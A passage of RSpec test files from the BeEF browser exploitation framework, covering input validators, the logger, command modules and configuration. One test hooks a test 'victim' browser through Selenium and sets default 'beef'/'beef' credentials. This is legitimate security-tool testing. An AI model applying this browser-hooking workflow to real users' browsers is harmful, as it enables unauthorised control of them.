    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Filters do\n  describe '.is_valid_browsername?' do\n    it 'validates browser names' do\n      expect(BeEF::Filters.is_valid_browsername?('FF')).to be(true)\n      expect(BeEF::Filters.is_valid_browsername?('IE')).to be(true)\n      expect(BeEF::Filters.is_valid_browsername?('CH')).to be(true)\n      expect(BeEF::Filters.is_valid_browsername?('TOOLONG')).to be(false)\n      expect(BeEF::Filters.is_valid_browsername?('')).to be(false)\n    end\n  end\n\n  describe '.is_valid_osname?' do\n    it 'validates OS names' do\n      expect(BeEF::Filters.is_valid_osname?('Windows XP')).to be(true)\n      expect(BeEF::Filters.is_valid_osname?('A')).to be(false) # too short\n      expect(BeEF::Filters.is_valid_osname?('')).to be(false)\n    end\n  end\n\n  describe '.is_valid_hwname?' do\n    it 'validates hardware names' do\n      expect(BeEF::Filters.is_valid_hwname?('iPhone')).to be(true)\n      expect(BeEF::Filters.is_valid_hwname?('A')).to be(false) # too short\n      expect(BeEF::Filters.is_valid_hwname?('')).to be(false)\n    end\n  end\n\n  describe '.is_valid_browserversion?' do\n    it 'validates browser versions' do\n      expect(BeEF::Filters.is_valid_browserversion?('1.0')).to be(true)\n      expect(BeEF::Filters.is_valid_browserversion?('1.2.3.4')).to be(true)\n      expect(BeEF::Filters.is_valid_browserversion?('UNKNOWN')).to be(true)\n      expect(BeEF::Filters.is_valid_browserversion?('ALL')).to be(true)\n      expect(BeEF::Filters.is_valid_browserversion?('invalid')).to be(false)\n    end\n  end\n\n  describe '.is_valid_osversion?' do\n    it 'validates OS versions' do\n      expect(BeEF::Filters.is_valid_osversion?('10.0')).to be(true)\n      expect(BeEF::Filters.is_valid_osversion?('UNKNOWN')).to be(true)\n      expect(BeEF::Filters.is_valid_osversion?('ALL')).to be(true)\n      expect(BeEF::Filters.is_valid_osversion?('invalid!')).to be(false)\n    end\n  end\n\n  describe '.is_valid_browserstring?' do\n    it 'validates browser/UA strings' do\n      expect(BeEF::Filters.is_valid_browserstring?('Mozilla/5.0')).to be(true)\n      expect(BeEF::Filters.is_valid_browserstring?('A' * 300)).to be(true)\n      expect(BeEF::Filters.is_valid_browserstring?('A' * 301)).to be(false)\n    end\n  end\n\n  describe '.is_valid_cookies?' do\n    it 'validates cookie strings' do\n      expect(BeEF::Filters.is_valid_cookies?('session=abc123')).to be(true)\n      expect(BeEF::Filters.is_valid_cookies?('A' * 2000)).to be(true)\n      expect(BeEF::Filters.is_valid_cookies?('A' * 2001)).to be(false)\n    end\n  end\n\n  describe '.is_valid_browser_plugins?' do\n    it 'validates browser plugin strings' do\n      expect(BeEF::Filters.is_valid_browser_plugins?('Flash, Java')).to be(true)\n      expect(BeEF::Filters.is_valid_browser_plugins?('A' * 1000)).to be(true)\n      expect(BeEF::Filters.is_valid_browser_plugins?('A' * 1001)).to be(false)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/filter/command_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Filters do\n  describe '.is_valid_path_info?' do\n    it 'validates path info' do\n      expect(BeEF::Filters.is_valid_path_info?('/path/to/resource')).to be(true)\n      expect(BeEF::Filters.is_valid_path_info?(\"\\x00\")).to be(false)\n      expect(BeEF::Filters.is_valid_path_info?(nil)).to be(false)\n    end\n  end\n\n  describe '.is_valid_hook_session_id?' do\n    it 'validates hook session IDs' do\n      expect(BeEF::Filters.is_valid_hook_session_id?('abc123')).to be(true)\n      expect(BeEF::Filters.is_valid_hook_session_id?('')).to be(false)\n      expect(BeEF::Filters.is_valid_hook_session_id?(nil)).to be(false)\n    end\n  end\n\n  describe '.is_valid_command_module_datastore_key?' do\n    it 'validates datastore keys' do\n      expect(BeEF::Filters.is_valid_command_module_datastore_key?('test_key')).to be(true)\n      expect(BeEF::Filters.is_valid_command_module_datastore_key?('')).to be(false)\n    end\n  end\n\n  describe '.is_valid_command_module_datastore_param?' do\n    it 'validates datastore params' do\n      expect(BeEF::Filters.is_valid_command_module_datastore_param?('test_value')).to be(true)\n      expect(BeEF::Filters.is_valid_command_module_datastore_param?(\"\\x00\")).to be(false)\n    end\n  end\n\n  describe '.has_valid_key_chars?' do\n    it 'validates key characters' do\n      expect(BeEF::Filters.has_valid_key_chars?('test_key')).to be(true)\n      expect(BeEF::Filters.has_valid_key_chars?('')).to be(false)\n    end\n  end\n\n  describe '.has_valid_param_chars?' do\n    it 'false' do\n      chars = [nil, '', '+']\n      chars.each do |c|\n        expect(BeEF::Filters.has_valid_param_chars?(c)).to be(false)\n      end\n    end\n\n    it 'true' do\n      expect(BeEF::Filters.has_valid_param_chars?('A')).to be(true)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/filter/http_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Filters do\n  describe '.is_valid_hostname?' do\n    it 'validates hostnames correctly' do\n      expect(BeEF::Filters.is_valid_hostname?('example.com')).to be(true)\n      expect(BeEF::Filters.is_valid_hostname?('sub.example.com')).to be(true)\n      expect(BeEF::Filters.is_valid_hostname?('a' * 256)).to be(false) # too long\n      expect(BeEF::Filters.is_valid_hostname?('')).to be(false)\n      expect(BeEF::Filters.is_valid_hostname?(nil)).to be(false)\n    end\n  end\n\n  describe '.is_valid_verb?' do\n    it 'validates HTTP verbs' do\n      %w[HEAD GET POST OPTIONS PUT DELETE].each do |verb|\n        expect(BeEF::Filters.is_valid_verb?(verb)).to be(true)\n      end\n      expect(BeEF::Filters.is_valid_verb?('INVALID')).to be(false)\n    end\n  end\n\n  describe '.is_valid_url?' do\n    it 'validates URLs' do\n      expect(BeEF::Filters.is_valid_url?(nil)).to be(false)\n      expect(BeEF::Filters.is_valid_url?('http://example.com')).to be(true)\n    end\n  end\n\n  describe '.is_valid_http_version?' do\n    it 'validates HTTP versions' do\n      expect(BeEF::Filters.is_valid_http_version?('HTTP/1.0')).to be(true)\n      expect(BeEF::Filters.is_valid_http_version?('HTTP/1.1')).to be(true)\n      expect(BeEF::Filters.is_valid_http_version?('HTTP/2.0')).to be(false)\n    end\n  end\n\n  describe '.is_valid_host_str?' do\n    it 'validates host header strings' do\n      expect(BeEF::Filters.is_valid_host_str?('Host:')).to be(true)\n      host_str = \"Host:\\r\".dup\n      expect(BeEF::Filters.is_valid_host_str?(host_str)).to be(true)\n      expect(BeEF::Filters.is_valid_host_str?('Invalid')).to be(false)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/filter/page_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Filters do\n  describe '.is_valid_pagetitle?' do\n    it 'validates page titles' do\n      expect(BeEF::Filters.is_valid_pagetitle?('Test Page')).to be(true)\n      expect(BeEF::Filters.is_valid_pagetitle?('A' * 500)).to be(true)\n      expect(BeEF::Filters.is_valid_pagetitle?('A' * 501)).to be(false)\n      expect(BeEF::Filters.is_valid_pagetitle?(\"\\x00\")).to be(false)\n    end\n  end\n\n  describe '.is_valid_pagereferrer?' do\n    it 'validates page referrers' do\n      expect(BeEF::Filters.is_valid_pagereferrer?('http://example.com')).to be(true)\n      expect(BeEF::Filters.is_valid_pagereferrer?('A' * 350)).to be(true)\n      expect(BeEF::Filters.is_valid_pagereferrer?('A' * 351)).to be(false)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/logger_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\nrequire 'fileutils'\n\nRSpec.describe 'BeEF Logger' do\n  let(:home_dir) { $home_dir } # rubocop:disable Style/GlobalVars\n  let(:expected_log_path) { File.join(home_dir, 'beef.log') }\n\n  before(:each) do\n    # Reset the logger to ensure clean state\n    BeEF.logger = nil\n  end\n\n  after(:each) do\n    # Clean up any log files created during tests\n    FileUtils.rm_f(expected_log_path)\n    BeEF.logger = nil\n  end\n\n  describe '.logger' do\n    it 'returns a Logger instance' do\n      expect(BeEF.logger).to be_a(Logger)\n    end\n\n    it 'creates logger with correct file path' do\n      logger = BeEF.logger\n      expect(logger.instance_variable_get(:@logdev).dev.path).to eq(expected_log_path)\n    end\n\n    it 'sets the progname to BeEF' do\n      logger = BeEF.logger\n      expect(logger.progname).to eq('BeEF')\n    end\n\n    it 'sets the log level to WARN' do\n      logger = BeEF.logger\n      expect(logger.level).to eq(Logger::WARN)\n    end\n\n    it 'returns the same logger instance on subsequent calls' do\n      logger1 = BeEF.logger\n      logger2 = BeEF.logger\n      expect(logger1).to be(logger2)\n    end\n\n    it 'creates the log file when logger is accessed' do\n      # Ensure file doesn't exist initially\n      FileUtils.rm_f(expected_log_path)\n\n      BeEF.logger\n\n      expect(File.exist?(expected_log_path)).to be(true)\n    end\n  end\n\n  describe '.logger=' do\n    it 'allows setting a custom logger' do\n      custom_logger = Logger.new($stdout)\n      BeEF.logger = custom_logger\n\n      expect(BeEF.logger).to be(custom_logger)\n    end\n\n    it 'uses the custom logger instead of creating a new one' do\n      custom_logger = Logger.new($stdout)\n      custom_logger.level = Logger::DEBUG\n      BeEF.logger = custom_logger\n\n      expect(BeEF.logger.level).to eq(Logger::DEBUG)\n      expect(BeEF.logger).to be(custom_logger)\n    end\n\n    it 'allows resetting logger to nil' do\n      BeEF.logger = nil\n      expect(BeEF.instance_variable_get(:@logger)).to be_nil\n    end\n\n    it 'creates a new logger after being set to nil' do\n      original_logger = BeEF.logger\n      BeEF.logger = nil\n      new_logger = BeEF.logger\n\n      expect(new_logger).to be_a(Logger)\n      expect(new_logger).not_to be(original_logger)\n    end\n  end\n\n  describe 'logger functionality' do\n    it 'can log messages at WARN level' do\n      logger = BeEF.logger\n      expect { logger.warn('Test warning message') }.not_to raise_error\n    end\n\n    it 'can log messages at ERROR level' do\n      logger = BeEF.logger\n      expect { logger.error('Test error message') }.not_to raise_error\n    end\n\n    it 'does not log messages below WARN level by default' do\n      logger = BeEF.logger\n      # INFO and DEBUG messages should not be logged at WARN level\n      expect(logger.info?).to be(false)\n      expect(logger.debug?).to be(false)\n    end\n\n    it 'logs messages at WARN level and above' do\n      logger = BeEF.logger\n      expect(logger.warn?).to be(true)\n      expect(logger.error?).to be(true)\n      expect(logger.fatal?).to be(true)\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/autorun_engine/autorun_engine_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nrequire 'rest-client'\nrequire 'json'\nrequire_relative '../../../../spec_helper'\nrequire_relative '../../../../support/constants'\nrequire_relative '../../../../support/beef_test'\n\nRSpec.describe 'AutoRunEngine Test', run_on_browserstack: true do\n  before(:all) do\n    @__ar_config_snapshot = SpecActiveRecordConnection.snapshot\n    @config = BeEF::Core::Configuration.instance\n\n    # Grab DB file and regenerate if requested\n    print_info 'Loading database'\n    db_file = @config.get('beef.database.file')\n    print_info 'Resetting the database for BeEF.'\n\n    if ENV['RESET_DB']\n      File.delete(db_file) if File.exist?(db_file)\n    end\n\n    @config.set('beef.credentials.user', 'beef')\n    @config.set('beef.credentials.passwd', 'beef')\n    @username = @config.get('beef.credentials.user')\n    @password = @config.get('beef.credentials.passwd')\n\n    # Load BeEF extensions and modules\n    # Always load Extensions, as previous changes to the config from other tests may affect\n    # whether or not this test passes.\n    print_info 'Loading in BeEF::Extensions'\n    BeEF::Extensions.load\n\n    # Check if modules already loaded. No need to reload.\n    if @config.get('beef.module').nil?\n      print_info 'Loading in BeEF::Modules'\n      BeEF::Modules.load\n    else\n      print_info 'Modules already loaded'\n    end\n\n\n    # Load up DB and migrate if necessary\n    ActiveRecord::Base.logger = nil\n    OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file)\n    # otr-activerecord require you to manually establish the connection with the following line\n    #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.\n    if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')\n      OTR::ActiveRecord.establish_connection!\n    end\n    ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]\n    MUTEX.synchronize do\n      context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)\n      if context.needs_migration?\n        ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate\n      end\n    end\n    \n    BeEF::Core::Migration.instance.update_db!\n\n    # add AutoRunEngine rule\n    test_rule = { 'name' => 'Display an alert', 'author' => 'mgeeky', 'browser' => 'ALL', 'browser_version' => 'ALL', 'os' => 'ALL', 'os_version' => 'ALL', 'modules' => [{ 'name' => 'alert_dialog', 'condition' => nil, 'options' => { 'text' => \"You've been BeEFed ;>\" } }], 'execution_order' => [0], 'execution_delay' => [0], 'chain_mode' => 'sequential' }\n\n    BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory\n    # are_engine.R\n\n    # Spawn HTTP Server\n    print_info 'Starting HTTP Hook Server'\n    http_hook_server = BeEF::Core::Server.instance\n\n    # Generate a token for the server to respond with\n    @token = BeEF::Core::Crypto.api_token\n\n    # ***** IMPORTANT: close any and all AR/OTR connections before forking *****\n    disconnect_all_active_record!\n\n    # Initiate server start-up\n    @pid = fork do\n      http_hook_server.prepare\n      BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)\n      http_hook_server.start\n    end\n\n    begin\n      @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])\n      @caps['name'] = self.class.description || ENV['name'] || 'no-name'\n      @caps['browserstack.local'] = true\n      @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER']\n\n      @driver = Selenium::WebDriver.for(:remote,\n                                        url: \"http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub\",\n                                        options: @caps)\n      # Hook new victim\n      print_info 'Hooking a new victim, waiting a few seconds...'\n      wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds\n\n      @driver.navigate.to VICTIM_URL.to_s\n\n      sleep 1\n\n      sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 }\n\n      @session = @driver.execute_script('return window.beef.session.get_hook_session_id()')\n    end\n  end\n\n  after(:all) do\n    server_teardown(@driver, @pid, @pids)\n    disconnect_all_active_record!\n    SpecActiveRecordConnection.restore!(@__ar_config_snapshot)\n  end\n\n  it 'AutoRunEngine is working' do\n    expect(@session).not_to be_nil\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/command_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::Command do\n  let(:config) { BeEF::Core::Configuration.instance }\n\n  before do\n    # Ensure modules are loaded\n    BeEF::Modules.load if config.get('beef.module').nil?\n\n    # Set up a test module configuration if it doesn't exist\n    unless config.get('beef.module.test_get_variable')\n      config.set('beef.module.test_get_variable.name', 'Test Get Variable')\n      config.set('beef.module.test_get_variable.path', 'modules/test/')\n      config.set('beef.module.test_get_variable.mount', '/command/test_get_variable.js')\n      config.set('beef.module.test_get_variable.db.id', 1)\n    end\n  end\n\n  describe BeEF::Core::CommandUtils do\n    describe '#format_multiline' do\n      it 'converts newlines to escaped newlines' do\n        result = BeEF::Core::CommandUtils.instance_method(:format_multiline).bind(Object.new).call(\"line1\\nline2\")\n        expect(result).to eq(\"line1\\\\nline2\")\n      end\n\n      it 'handles strings without newlines' do\n        result = BeEF::Core::CommandUtils.instance_method(:format_multiline).bind(Object.new).call(\"single line\")\n        expect(result).to eq(\"single line\")\n      end\n    end\n  end\n\n  describe BeEF::Core::CommandContext do\n    it 'initializes with hash' do\n      context = described_class.new({ 'key' => 'value' })\n      expect(context['key']).to eq('value')\n    end\n\n    it 'initializes without hash' do\n      context = described_class.new\n      expect(context).to be_a(Erubis::Context)\n    end\n\n    it 'includes CommandUtils' do\n      context = described_class.new\n      expect(context).to respond_to(:format_multiline)\n    end\n  end\n\n  describe '#initialize' do\n    it 'initializes with module key' do\n      command = described_class.new('test_get_variable')\n      expect(command.config).to eq(config)\n      expect(command.datastore).to eq({})\n      expect(command.beefjs_components).to eq({})\n    end\n\n    it 'sets friendlyname from configuration' do\n      # Mock all config calls for initialization\n      allow(config).to receive(:get).and_call_original\n      allow(config).to receive(:get).with('beef.module.test_get_variable.name').and_return('Test Get Variable')\n      allow(config).to receive(:get).with('beef.module.test_get_variable.path').and_return('modules/test/')\n      allow(config).to receive(:get).with('beef.module.test_get_variable.mount').and_return('/command/test.js')\n      allow(config).to receive(:get).with('beef.module.test_get_variable.db.id').and_return(1)\n      command = described_class.new('test_get_variable')\n      expect(command.friendlyname).to eq('Test Get Variable')\n    end\n  end\n\n  describe '#needs_configuration?' do\n    it 'returns true when datastore is not nil' do\n      command = described_class.new('test_get_variable')\n      command.instance_variable_set(:@datastore, {})\n      expect(command.needs_configuration?).to be true\n    end\n\n    it 'returns false when datastore is nil' do\n      command = described_class.new('test_get_variable')\n      command.instance_variable_set(:@datastore, nil)\n      expect(command.needs_configuration?).to be false\n    end\n  end\n\n  describe '#to_json' do\n    it 'returns JSON with command information' do\n      # Mock all config calls for this test\n      allow(config).to receive(:get).and_call_original\n      allow(config).to receive(:get).with('beef.module.test_get_variable.name').and_return('Test Get Variable')\n      allow(config).to receive(:get).with('beef.module.test_get_variable.description').and_return('Test Description')\n      allow(config).to receive(:get).with('beef.module.test_get_variable.category').and_return('Test Category')\n      allow(config).to receive(:get).with('beef.module.test_get_variable.path').and_return('modules/test/')\n      allow(config).to receive(:get).with('beef.module.test_get_variable.mount').and_return('/command/test.js')\n      allow(config).to receive(:get).with('beef.module.test_get_variable.db.id').and_return(1)\n      allow(BeEF::Module).to receive(:get_options).with('test_get_variable').and_return([])\n      command = described_class.new('test_get_variable')\n      json = command.to_json\n      parsed = JSON.parse(json)\n      expect(parsed['Name']).to eq('Test Get Variable')\n      expect(parsed['Description']).to eq('Test Description')\n      expect(parsed['Category']).to eq('Test Category')\n    end\n  end\n\n  describe '#build_datastore' do\n    it 'parses JSON data into datastore' do\n      command = described_class.new('test_get_variable')\n      data = '{\"key\": \"value\"}'\n      command.build_datastore(data)\n      expect(command.datastore).to eq({ 'key' => 'value' })\n    end\n\n    it 'handles invalid JSON gracefully' do\n      command = described_class.new('test_get_variable')\n      command.build_datastore('invalid json')\n      expect(command.datastore).to eq({})\n    end\n  end\n\n  describe '#build_callback_datastore' do\n    it 'initializes datastore with http_headers' do\n      command = described_class.new('test_get_variable')\n      command.build_callback_datastore('result', 1, 'hook', nil, nil)\n      expect(command.datastore).to have_key('http_headers')\n      expect(command.datastore['http_headers']).to eq({})\n    end\n\n    it 'adds results, command_id, and beefhook' do\n      command = described_class.new('test_get_variable')\n      command.build_callback_datastore('result', 1, 'hook', nil, nil)\n      expect(command.datastore['results']).to eq('result')\n      expect(command.datastore['cid']).to eq(1)\n      expect(command.datastore['beefhook']).to eq('hook')\n    end\n\n    it 'adds valid http_params to datastore' do\n      allow(BeEF::Filters).to receive(:is_valid_command_module_datastore_key?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_command_module_datastore_param?).and_return(true)\n      allow(Erubis::XmlHelper).to receive(:escape_xml) { |arg| arg }\n      command = described_class.new('test_get_variable')\n      command.build_callback_datastore('result', 1, 'hook', { 'param1' => 'value1' }, {})\n      expect(command.datastore['param1']).to eq('value1')\n    end\n\n    it 'skips invalid http_params' do\n      allow(BeEF::Filters).to receive(:is_valid_command_module_datastore_key?).and_return(false)\n      command = described_class.new('test_get_variable')\n      command.build_callback_datastore('result', 1, 'hook', { 'invalid' => 'value' }, {})\n      expect(command.datastore).not_to have_key('invalid')\n    end\n  end\n\n  describe '#save' do\n    it 'saves results' do\n      command = described_class.new('test_get_variable')\n      results = { 'data' => 'test' }\n      command.save(results)\n      expect(command.instance_variable_get(:@results)).to eq(results)\n    end\n  end\n\n  describe '#map_file_to_url' do\n    it 'calls AssetHandler bind' do\n      mock_handler = double('AssetHandler')\n      allow(BeEF::Core::NetworkStack::Handlers::AssetHandler).to receive(:instance).and_return(mock_handler)\n      expect(mock_handler).to receive(:bind).with('file.txt', nil, nil, 1)\n      command = described_class.new('test_get_variable')\n      command.map_file_to_url('file.txt')\n    end\n  end\n\n  describe '#use' do\n    it 'adds component to beefjs_components when file exists' do\n      # The path construction adds an extra /, so account for that\n      component_path = \"#{$root_dir}/core/main/client//net/local.js\"\n      allow(File).to receive(:exist?).and_call_original\n      allow(File).to receive(:exist?).with(component_path).and_return(true)\n      command = described_class.new('test_get_variable')\n      command.use('beef.net.local')\n      expect(command.beefjs_components).to have_key('beef.net.local')\n    end\n\n    it 'raises error when component file does not exist' do\n      component_path = \"#{$root_dir}/core/main/client//net/nonexistent.js\"\n      allow(File).to receive(:exist?).and_call_original\n      allow(File).to receive(:exist?).with(component_path).and_return(false)\n      command = described_class.new('test_get_variable')\n      expect { command.use('beef.net.nonexistent') }.to raise_error(/Invalid beefjs component/)\n    end\n\n    it 'does not add component twice' do\n      component_path = \"#{$root_dir}/core/main/client//net/local.js\"\n      allow(File).to receive(:exist?).and_call_original\n      allow(File).to receive(:exist?).with(component_path).and_return(true)\n      command = described_class.new('test_get_variable')\n      command.use('beef.net.local')\n      command.use('beef.net.local')\n      expect(command.beefjs_components.keys.count).to eq(1)\n    end\n  end\n\n  describe '#oc_value' do\n    it 'returns option value when option exists' do\n      BeEF::Core::Models::OptionCache.create!(name: 'test_option', value: 'test_value')\n      command = described_class.new('test_get_variable')\n      expect(command.oc_value('test_option')).to eq('test_value')\n    end\n\n    it 'returns nil when option does not exist' do\n      command = described_class.new('test_get_variable')\n      expect(command.oc_value('nonexistent')).to be_nil\n    end\n  end\n\n  describe '#apply_defaults' do\n    it 'applies option cache values to datastore' do\n      BeEF::Core::Models::OptionCache.create!(name: 'option1', value: 'cached_value')\n      command = described_class.new('test_get_variable')\n      command.instance_variable_set(:@datastore, [{ 'name' => 'option1', 'value' => 'default_value' }])\n      command.apply_defaults\n      expect(command.datastore[0]['value']).to eq('cached_value')\n    end\n\n    it 'keeps default value when option cache does not exist' do\n      command = described_class.new('test_get_variable')\n      command.instance_variable_set(:@datastore, [{ 'name' => 'option1', 'value' => 'default_value' }])\n      command.apply_defaults\n      expect(command.datastore[0]['value']).to eq('default_value')\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/configuration_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.configure do |config|\nend\n\nRSpec.describe 'BeEF Configuration' do\n\n  before(:context) do\n    @config_instance = BeEF::Core::Configuration.instance\n\n    @original_http_host = @config_instance.get('beef.http.host')\n    @original_http_port = @config_instance.get('beef.http.port')\n    @original_http_https = @config_instance.get('beef.http.https.enable')\n    @original_http_public_host = @config_instance.get('beef.http.public.host')\n    @original_http_public_port = @config_instance.get('beef.http.public.port')\n    @original_http_public_https = @config_instance.get('beef.http.public.https')\n    @original_http_hook_file = @config_instance.get('beef.http.hook_file')\n  end\n\n  after(:context) do\n    # Reset the configuration values\n    # This is important as the tests may change the configuration values\n    @config_instance.set('beef.http.host', @original_http_host)\n    @config_instance.set('beef.http.port', @original_http_port)\n    @config_instance.set('beef.http.https.enable', @original_http_https)\n    @config_instance.set('beef.http.public.host', @original_http_public_host)\n    @config_instance.set('beef.http.public.port', @original_http_public_port)\n    @config_instance.set('beef.http.public.https', @original_http_public_https)\n    @config_instance.set('beef.http.hook_file', @original_http_hook_file)\n  end\n\n  context 'http local host configuration values' do\n    it 'should set the local host value to 0.0.0.0' do\n      @config_instance.set('beef.http.host', '0.0.0.0')\n      expect(@config_instance.get('beef.http.host')).to eq('0.0.0.0')\n    end\n\n    it 'should get the local host value' do\n      @config_instance.set('beef.http.host', '0.0.0.0')\n      expect(@config_instance.local_host).to eq('0.0.0.0')\n    end\n\n    it 'should get the default host value' do\n      @config_instance.set('beef.http.host', nil)\n      expect(@config_instance.get('beef.http.host')).to eq(nil)\n      expect(@config_instance.local_host).to eq('0.0.0.0')\n    end\n  end\n\n  context 'http local port configuration values' do\n    it 'should set the local port value to 3000' do\n      @config_instance.set('beef.http.port', '3000')\n      expect(@config_instance.get('beef.http.port')).to eq('3000')\n    end\n\n    it 'should get the local port value' do\n      @config_instance.set('beef.http.port', '3000')\n      expect(@config_instance.local_port).to eq('3000')\n    end\n\n    it 'should get the default port value' do\n      @config_instance.set('beef.http.port', nil)\n      expect(@config_instance.get('beef.http.port')).to eq(nil)\n      expect(@config_instance.local_port).to eq('3000')\n    end\n  end\n\n  context 'beef https enabled configuration values' do\n    it 'should set the https enabled config value' do\n      @config_instance.set('beef.http.https.enable', true)\n      expect(@config_instance.get('beef.http.https.enable')).to eq(true)\n    end\n\n    it 'should get https enabled value set to true' do\n      @config_instance.set('beef.http.https.enable', true)\n      expect(@config_instance.local_https_enabled).to eq(true)\n    end\n\n    it 'should get https enabled value set to false' do\n      @config_instance.set('beef.http.https.enable', false)\n      expect(@config_instance.local_https_enabled).to eq(false)\n    end\n\n    it 'should get the default https enabled value' do\n      @config_instance.set('beef.http.https.enable', nil)\n      expect(@config_instance.get('beef.http.https.enable')).to eq(nil)\n      expect(@config_instance.local_https_enabled).to eq(false)\n    end\n  end\n\n  #public\n  context 'http public host configuration values' do\n    it 'should set the public host value to example.com' do\n      @config_instance.set('beef.http.public.host', 'example.com')\n      expect(@config_instance.get('beef.http.public.host')).to eq('example.com')\n    end\n\n    it 'should get the public host value' do\n      @config_instance.set('beef.http.public.host', 'example.com')\n      expect(@config_instance.public_host).to eq('example.com')\n    end\n\n    it 'should get nil host value' do\n      @config_instance.set('beef.http.public.host', nil)\n      expect(@config_instance.get('beef.http.public.host')).to eq(nil)\n      expect(@config_instance.public_host).to eq(nil)\n    end\n  end\n\n  context 'http public port configuration values' do\n    it 'should set the public port value to 3000' do\n      @config_instance.set('beef.http.public.port', '443')\n      expect(@config_instance.get('beef.http.public.port')).to eq('443')\n    end\n\n    it 'should get the public port value' do\n      @config_instance.set('beef.http.public.port', '3000')\n      expect(@config_instance.public_port).to eq('3000')\n    end\n\n    it 'should return 80 as the port given a public host has been set and https disabled' do\n      @config_instance.set('beef.http.public.port', nil)\n      @config_instance.set('beef.http.public.host', 'example.com')\n      @config_instance.set('beef.http.public.https', false)\n      expect(@config_instance.get('beef.http.public.port')).to eq(nil)\n      expect(@config_instance.get('beef.http.public.host')).to eq('example.com')\n      expect(@config_instance.public_port).to eq('80')\n    end\n  end\n\n  context 'beef https enabled configuration values' do\n    it 'should set the https enabled config value' do\n      @config_instance.set('beef.http.https.enable', true)\n      expect(@config_instance.get('beef.http.https.enable')).to eq(true)\n    end\n\n    it 'should get https enabled value set to true' do\n      @config_instance.set('beef.http.public.https', true)\n      expect(@config_instance.public_https_enabled?).to eq(true)\n    end\n\n    it 'should get https enabled value set to false' do\n      @config_instance.set('beef.http.public.https', false)\n      expect(@config_instance.public_https_enabled?).to eq(false)\n    end\n\n    it 'should get the default https to false' do\n      @config_instance.set('beef.http.public.https', nil)\n      expect(@config_instance.get('beef.http.public.https')).to eq(nil)\n      expect(@config_instance.public_https_enabled?).to eq(false)\n    end\n\n    it 'should return public port as 443 if public https is enabled' do\n      @config_instance.set('beef.http.public.https', true)\n      @config_instance.set('beef.http.public.port', nil)\n      expect(@config_instance.get('beef.http.public.https')).to eq(true)\n      expect(@config_instance.get('beef.http.public.port')).to eq(nil)\n      expect(@config_instance.public_https_enabled?).to eq(true)\n      expect(@config_instance.public_port).to eq('443')\n    end\n  end\n\n  context 'beef hosting information' do\n    it 'should return the local host value because a public has not been set' do\n      @config_instance.set('beef.http.host', 'asdqwe')\n      @config_instance.set('beef.http.public.host', nil)\n      expect(@config_instance.get('beef.http.host')).to eq('asdqwe')\n      expect(@config_instance.get('beef.http.public.host')).to eq(nil)\n      expect(@config_instance.beef_host).to eq('asdqwe')\n    end\n\n    it 'should return the public host value because a public has been set' do\n      @config_instance.set('beef.http.host', 'asdqwe')\n      @config_instance.set('beef.http.public.host', 'poilkj')\n      expect(@config_instance.get('beef.http.host')).to eq('asdqwe')\n      expect(@config_instance.get('beef.http.public.host')).to eq('poilkj')\n      expect(@config_instance.beef_host).to eq('poilkj')\n    end\n\n    it 'should return the local port value because a public value has not been set' do\n      @config_instance.set('beef.http.port', '3000')\n      @config_instance.set('beef.http.public.host', nil)\n      @config_instance.set('beef.http.public.port', nil)\n      @config_instance.set('beef.http.public.https', nil)\n      expect(@config_instance.get('beef.http.port')).to eq('3000')\n      expect(@config_instance.get('beef.http.public.port')).to eq(nil)\n      expect(@config_instance.get('beef.http.public.host')).to eq(nil)\n      expect(@config_instance.get('beef.http.public.https')).to 